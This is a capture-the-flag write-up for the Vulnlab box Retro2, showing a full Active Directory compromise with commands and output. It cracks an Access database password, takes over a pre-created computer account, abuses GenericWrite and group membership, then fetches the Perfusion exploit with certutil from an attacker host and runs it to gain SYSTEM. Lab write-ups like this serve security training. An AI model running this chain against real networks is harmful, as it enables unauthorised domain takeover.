Introduction

Retro2 is an easy Active Directory box from Vulnlab that involves decrypting an MS Access database, Pre-Created Computer Accounts, GenericWrite, AddMember and finally exploiting an RpcEptMapper Registry Key vulnerability in Windows 7 / Server 2008 R2.

NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Nmap scan report for 10.10.112.106
Host is up (0.075s latency).
Not shown: 65523 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5722/tcp open msdfsr
49154/tcp open unknown
49157/tcp open unknown

From the Nmap scan, we can see that we are dealing with a Domain Controller, as indicated by the presence of DNS, Kerberos and LDAP.

Enumeration

SMB

Running Netexec without credentials reveals that we are dealing with a Windows Server 2008, which is quite old

1
2
➜  nxc smb 10.10.112.106
SMB 10.10.112.106 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True)

Let’s see if we can enumerate shares using any username

1
2
3
4
5
6
7
8
9
10
11
12
➜  nxc smb retro2.vl -u 'serio' -p '' --shares
SMB 10.10.112.106 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True)
SMB 10.10.112.106 445 BLN01 [+] retro2.vl\serio: (Guest)
SMB 10.10.112.106 445 BLN01 [*] Enumerated shares
SMB 10.10.112.106 445 BLN01 Share Permissions Remark
SMB 10.10.112.106 445 BLN01 ----- ----------- ------
SMB 10.10.112.106 445 BLN01 ADMIN$ Remote Admin
SMB 10.10.112.106 445 BLN01 C$ Default share
SMB 10.10.112.106 445 BLN01 IPC$ Remote IPC
SMB 10.10.112.106 445 BLN01 NETLOGON Logon server share
SMB 10.10.112.106 445 BLN01 Public READ
SMB 10.10.112.106 445 BLN01 SYSVOL Logon server share

It looks like we can enumerate shares with a guest account, and from the previous output, we can see a non-standard share named ‘Public’. Let’s connect via smbclient and see what files are inside

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
➜  smbclient.py guest@retro2.vl -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Type help for list of commands
# use Public
# ls
drw-rw-rw- 0 Sat Aug 17 10:30:37 2024 .
drw-rw-rw- 0 Sat Aug 17 10:30:37 2024 ..
drw-rw-rw- 0 Sat Aug 17 10:30:37 2024 DB
drw-rw-rw- 0 Sat Aug 17 07:58:07 2024 Temp
# cd DB
# ls
drw-rw-rw- 0 Sat Aug 17 10:30:37 2024 .
drw-rw-rw- 0 Sat Aug 17 10:30:37 2024 ..
-rw-rw-rw- 876544 Sat Aug 17 10:30:34 2024 staff.accdb
# get staff.accdb
#

Inside the Temp directory in the Public share, there is a staff.accdb file that we can download to our local machine to examine it. Running the file command on it reveals that it’s a Microsoft Access database

1
2
➜  file staff.accdb
staff.accdb: Microsoft Access Database

If we try to open it with Microsoft Access, it prompts us for a password. Luckily, there is an office2john script that we can use to extract the hash and then crack it with John the Ripper

1
2
➜  office2john staff.accdb | tee hash
staff.accdb:$office$*2013*100000*256*16*5736cfcbb054e749a8f303570c5c1970*1ec683f4d8c4e9faf77d3c01f2433e56*7de0d4af8c54c33be322dbc860b68b4849f811196015a3f48a424a265d018235

As you can see, john successfully cracked the hash

1
2
3
4
5
6
7
8
9
10
11
➜  j hash
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
class08 (staff.accdb)
1g 0:00:00:15 DONE (2024-08-25 11:57) 0.06578g/s 303.1p/s 303.1c/s 303.1C/s chuchu..class08
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now, we can open the database with Microsoft Access and see what’s inside. There is a VBA script, and we can find some credentials for the ‘ldapreader’ user

1
2
3
strLDAP = "LDAP://OU=staff,DC=retro2,DC=vl"
strUser = "retro2\ldapreader"
strPassword = "<REDACTED>"

Bloodhound

With valid credentials in hand, we can run Bloodhound to gain a better understanding of the network and the permissions our user has

1
2
3
4
5
6
➜  nxc ldap 10.10.112.106 -u 'ldapreader' -p '<REDACTED>' --bloodhound --dns-server 10.10.112.106 -c All --dns-tcp
SMB 10.10.112.106 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True)
LDAP 10.10.112.106 389 BLN01 [+] retro2.vl\ldapreader:<REDACTED>
LDAP 10.10.112.106 389 BLN01 Resolved collection methods: acl, dcom, group, objectprops, localadmin, container, psremote, rdp, session, trusts
LDAP 10.10.112.106 389 BLN01 Done in 00M 15S
LDAP 10.10.112.106 389 BLN01 Compressing output into /home/serioton/.nxc/logs/BLN01_10.10.112.106_2024-08-25_115943_bloodhound.zip

Looking for an interesting path to the Domain Controller, we can see the following relationships:

  • The computer Account FS01 is a member of the Domain Computers group.
  • The Domain Computers group has GenericWrite over ADMWS01.
  • ADMWS01 has the AddSelf permission over the Services group.
  • Services group members can RDP to the Domain Controller BLN01.


This is an interesting path! First, we need to gain access to the computer account FS01. So, how are we going to do that?

USER

Pre-Windows 2000 computers

Back in 2022, TrustedSec made a blog post about Pre-Created Computer Accounts that showcased a way to take them over. First, let’s see if that’s the case here using Netexec

1
2
3
➜  nxc smb retro2.vl -u 'fs01$' -p 'fs01'
SMB 10.10.112.106 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True)
SMB 10.10.112.106 445 BLN01 [-] retro2.vl\fs01$:fs01 STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

As you can see, Netexec shows as the following error message: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT, which means that we have guessed the correct password for a computer account that has not been used yet. Great, now we have found the correct password for FS01. However, we cannot use this computer account yet because the password has not been changed, so let’s do that. We can use this tool by Oddvar Moe called rpcchangepwd

1
2
3
4
➜  python3 rpcchangepwd.py retro2.vl/fs01\$:fs01@10.10.112.106 -newpass P@ssw0rd
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Password was changed successfully.

We have successfully changed the FS01 computer account password. We can verify the new credentials using Netexec, which confirms they are valid

1
2
3
➜  nxc smb retro2.vl -u 'fs01$' -p 'P@ssw0rd'
SMB 10.10.112.106 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True)
SMB 10.10.112.106 445 BLN01 [+] retro2.vl\fs01$:P@ssw0rd

GenericWrite

Now that we have control over FS01, we can abuse the GenericWrite permission we identified earlier. The typical techniques to abuse GenericWrite are:

  • shadowCredentials (windows server 2016 or later)
  • targetKerberoasting (the password should be weak enough to be cracked)
  • Resource-Based Constrained Delegation

However, since we are dealing with a Windows Server 2008, none of these techniques will work. So, what we can do in this case? Well, there is another attribute that we can write to, which is unicodePwd. This will allow us reset the password of “ADMWS01$”. To do this, We are going to use the following command:

1
➜  net rpc password 'ADMWS01$' Passw0rd1 -U retro2.vl/'fs01$'%P@ssw0rd -S BLN01.retro2.vl

We didn’t get any error messages from the previous output, so that should have worked successfully. However, We can still verify with Netexec

1
2
3
➜  nxc smb retro2.vl -u 'ADMWS01$' -p 'Passw0rd1'
SMB 10.10.112.106 445 BLN01 [*] Windows Server 2008 R2 Datacenter 7601 Service Pack 1 x64 (name:BLN01) (domain:retro2.vl) (signing:True) (SMBv1:True)
SMB 10.10.112.106 445 BLN01 [+] retro2.vl\ADMWS01$:Passw0rd1

It looks like the password has been successfully changed.

AddMember

At this stage, we have control over the computer account ‘ADMWS01$,’ which has the AddMember permission over the ‘Services’ group. As we saw earlier, members of this group can RDP to the DC


Since we have the credentials of the ldapreader user, we can add him to this group and RDP to the Domain Controller. We could use the net tool, which is used for the administration of Samba and CIFS/SMB clients. However, this time, I am going to use bloodyAD.

1
2
➜  bloodyAD --host 10.10.112.106 -d retro2.vl -u 'ADMWS01$' -p 'Passw0rd1' add groupMember 'SERVICES' 'ldapreader'
[+] ldapreader added to SERVICES

Great, it says our user has been added to the Services group. Therefore, we can RDP to the machine and retrieve the user flag

1
➜  xfreerdp /u:'ldapreader' /p:'<REDACTED>' /v:10.10.112.106 /d:retro2.vl /tls-seclevel:0

Because who can resist a nostalgic rendezvous with an OS that refuses to call it quits?

ROOT

Searching for a way to escalate our privileges leads us to the following blog posts by itm4n:

which explain how to exploit a no-fix vulnerability in the RpcEptMapper registry key and provide us with a tool called Perfusion that we can run on the target to obtain a system shell

1
2
3
PS C:\temp> certutil.exe -urlcache -f http://10.8.0.210/Perfusion.exe Perfusion.exe
**** Online ****
CertUtil: -URLCache command completed successfully.
1
2
3
4
5
6
7
8
9
10
11
12
13
PS C:\temp> .\Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\LDAPRE~1\AppData\Local\Temp\2\performance_2016_1812_2.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[!] Failed to delete Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\temp>whoami
nt authority\system

The exploit is successful, and we are SYSTEM 🐱. Let’s grab our root flag

1
2
C:\temp>type \users\administrator\Desktop\root.txt
VL{REDACTED}

Even though we got a SYSTEM shell by running the exploit, understanding exactly what the exploit did is way more fruitful and fun. As xct wisely says:

Resources